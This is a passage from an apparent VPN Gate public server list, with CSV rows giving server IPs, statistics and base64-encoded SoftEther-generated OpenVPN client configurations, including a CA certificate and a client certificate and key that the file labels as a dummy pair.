Only.,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTkuMTAwLjM3LjExMiA0NDMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +public-vpn-119,219.100.37.113,2352173,12,472556926,Japan,JP,120,5448101179,33901921,1617197326262390,2weeks,Daiyuu Nobori_ Japan. Academic Use Only.,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY